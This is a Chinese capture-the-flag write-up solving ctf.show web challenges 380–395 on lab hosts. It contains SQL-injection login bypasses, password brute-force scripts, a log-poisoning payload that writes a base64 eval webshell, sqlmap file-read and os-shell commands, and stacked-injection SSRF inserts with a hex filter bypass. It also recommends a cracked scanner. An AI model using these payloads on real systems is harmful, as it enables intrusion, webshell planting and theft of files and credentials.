Skip to main content

黑盒测试

先装个破解的awvs再说(虽然我不知道后面需不需要用到但是一般可以扫的黑盒用awvs挺好的)

这里安装教程推荐国光师傅的:https://www.sqlsec.com/2020/04/awvs.html

这里我也是推荐使用docker安装,我用的是win10的docker desktop,其实都行。

image-20220205185948722

web380

用御剑扫一下,很成功的扫到了page.php

访问获得报错信息

Notice: Undefined index: id in /var/www/html/page.php on line 16
打开$id.php失败

传一个id=1

Warning: file_get_contents(1.php): failed to open stream: No such file or directory in /var/www/html/page.php on line 20

看起来是执行了file_get_contents($id.'php')。那么传flag

page.php?id=flag

源代码里看见flag

web381

awvs扫一下

image-20220205191254239

访问一下/alsckdfy这个奇怪的文件夹

就得到了flag

url/alsckdfy/

web382

image-20220205191536927

多了个manager。访问之后发现还是首页,只是少了渲染和图片等 重新访问/alsckdfy/,发现是个后台登录界面(虽然上一道题说了那里是后台)

使用万能密码成功登录

1' or 1=1#

image-20220205191901096

web383

得出的结论和上一题一样,方法也同上一题

web384

描述里写:

密码前2位是小写字母,后三位是数字

账号猜测admin

写个脚本爆破。整挺无语,爆的时间也太长了

import requests
import string
import itertools
url = 'http://0b749685-e779-47e4-9ec6-e5dc4efff478.challenge.ctf.show/alsckdfy/check.php'
lower_table = string.ascii_lowercase
digit_table = string.digits
for i in itertools.permutations(lower_table, 2):
for j in itertools.permutations(digit_table, 3):
data = {'u':'admin','p':''.join(i+j)}
r = requests.post(url=url,data=data).text
if('error' not in r):
print(r,data)

image-20220205193050251

web385

线程高了啥都扫不出来,低线程...

扫到个不同寻常的/install,访问

请务必在安装成功后删除本文件
需要重新安装请访问install/?install,管理员密码将重置为默认密码

然后管理员密码成了默认密码,肯定是弱口令。用github上的弱口令密码字典

import requests
url = 'http://a2191e9a-a474-4018-8e6c-9a29f1164d5d.challenge.ctf.show/alsckdfy/check.php'
f = open('password.txt','r').read()
f = f.split('\n')
for pswd in f:
data = {'u':'admin','p':pswd}
r = requests.post(url=url,data=data).text
if('error' not in r):
print(r,data)

很好,密码就是admin888

web386

访问/install/,提示lock.dat存在,你已经安装过了,请勿重复安装

重新扫描一下,发现了clear.php,访问显示清理完成。重新访问install发现还是提示lock.dat存在。

说明clear.php需要传入参数才能够清除文件,这里猜测id、f、file参数,发现file可以,因为在传file=/var/www/html/index.php的时候再去访问index.php就没了

于是传入

clear.php?file=install/lock.dat

剩下的步骤同上

web387

题目描述:前面部分和web386一样

我猜是登录进去之后要干些什么。按照前面部分的来试

结果clear.php删lock.dat文件的时候,提示请勿删除安装文件

于是重新去找地方删,这里又趁着收衣服的时候扫了一遍

有个/debug,访问,返回file not exist

传一个file=/var/www/html/index.php,于是成功访问了页面。传一个/etc/passwd也成功。说明是个文件包含点。很明显想办法包含来写马。这里就仿照web314里面仿照web81的方法,来日志文件包含。方法完全同web314。

然后我刚一访问就提示个12345(debug/?file=/var/log/nginx/access.log)

image-20220205200132132

哦~,肯定是刚刚扫描的时候awvs的测试,既然弹出来了那么就更加说明可以这样做了。日志太多了,我决定重新开一个靶机。

我尝试写一个<?php eval($_GET[1]);?>到UA里。再去看access.log

image-20220205200539405

看起来这样不行,于是去看wp了。wp中写的是直接删lock文件。即<?php unlink('/var/www/html/install/lock.dat')?>

image-20220205200700241

然后再去/install/?install就可以了,剩下的和之前的步骤一样

web388

继续去做刚刚做过的事看看哪一步被改了

发现debug成了调试成功,和之前就不一样了。

这里去看群主的视频,发现还是可以通过ua写把chech.php写到1.txt。那我为什么不选择直接写个马呢?即在UA里写

<?php system('echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d > /var/www/html/ma.php');?>

写了之后再去debug访问日志文件

然后访问ma.php,发现有回显了,上蚁剑找flag

image-20220210101302605

web389

直接访问debug,提示权限不足,看一下cookie

cookie里有个很明显的jwt

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0NDQ1OTIwOCwiZXhwIjoxNjQ0NDY2NDA4LCJuYmYiOjE2NDQ0NTkyMDgsInN1YiI6InVzZXIiLCJqdGkiOiJiODFmMzE0OTAxYmM3ZTQ3NWQ1NmJjZDZhNDMyMmUxMSJ9.NjLoaKXcXft8fz2RqRb_TRJ18MCr3zwU2Okvzs0EQFo

去解析一下

image-20220210102014674

可以说和jwt系列的第一题一模一样,按照那题做法来做这个题就行了

image-20220210102510592

image-20220210102527822

剩下的方法就和之前一样了,但是既然上一道题找到了flag在哪里,那么这里就直接把flag文件写出来

<?php system('cat /var/www/html/alsckdfy/check.php > /var/www/html/flag.txt') ?>

image-20220210102813170

web390

这一次还是和上面的方法去弄390,结果一直都是权限不足

awvs、御剑扫一下,看看是不是又多了什么文件

image-20220210103154576

这里很奇怪啊,之前都是有page-1.php、page-2.php……

去随便访问一个页面看看,哟,变成了page.php?id=1

很有可能有sql注入啊,去sqlmap跑一下

image-20220210103941047

很OK啊

去百度一下sqlmap读文件,找到了--file-read

试试

sqlmap -u http://90b30248-09bd-4c86-b9a3-082484381568.challenge.ctf.show/page.php?id=1 --file-read /var/www/html/alsckdfy/check.php

image-20220210104213765

还是很OK

web391

sqlmap没跑出来好家伙,看wp发现注入点在

image-20220210104852682

sqlmap -u http://314bd695-e911-441b-ad1d-5d4401e13771.challenge.ctf.show/search.php?title=123 --file-read /var/www/html/alsckdfy/check.php

web392

同上,好耶

image-20220210105145754

好你**

写个shell进去看看

sqlmap -u http://fae0bea2-21e2-485b-a843-b7a2eb8f132b.challenge.ctf.show/search.php?title=123 --os-shell

选项都默认回车

image-20220210105403141

web393

笑死,去访问那些page界面直接爆404.扫一下

image-20220210105806083

确实多了点东西,多了个link.php

image-20220210105937912

看到这个第一个想法是SSRF。但是他是靠传的id,这怎么办。去找输入框然后--os-shell也写不了

去看一下wp

wp给出的方法是:用sqlmap跑出列名和表名,然后使用堆叠注入将file:///flag写入自己写的一个id

search.php?title=1';insert into link values(10,'a','file:///flag');

然后访问link.php?id=10

web394

描述直接FLAG_NOT_HERE,我怀疑flag又跑到check.php去了

先还是用之前的payload试一下

回显是error,难道是不能这样了吗

测试了一下,是把file给过滤掉了,那么现在就是想办法绕一下。

最常见的就是16进制绕过,可以。但是访问/link.php?id=10,并没有发现flag

flag估计真是又跑到check.php去了。试了一下发现成功

search.php?title=1';insert into link values(114514,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);

然后访问/link.php?id=114514,查看源代码

web395

上一题payload可以打!好耶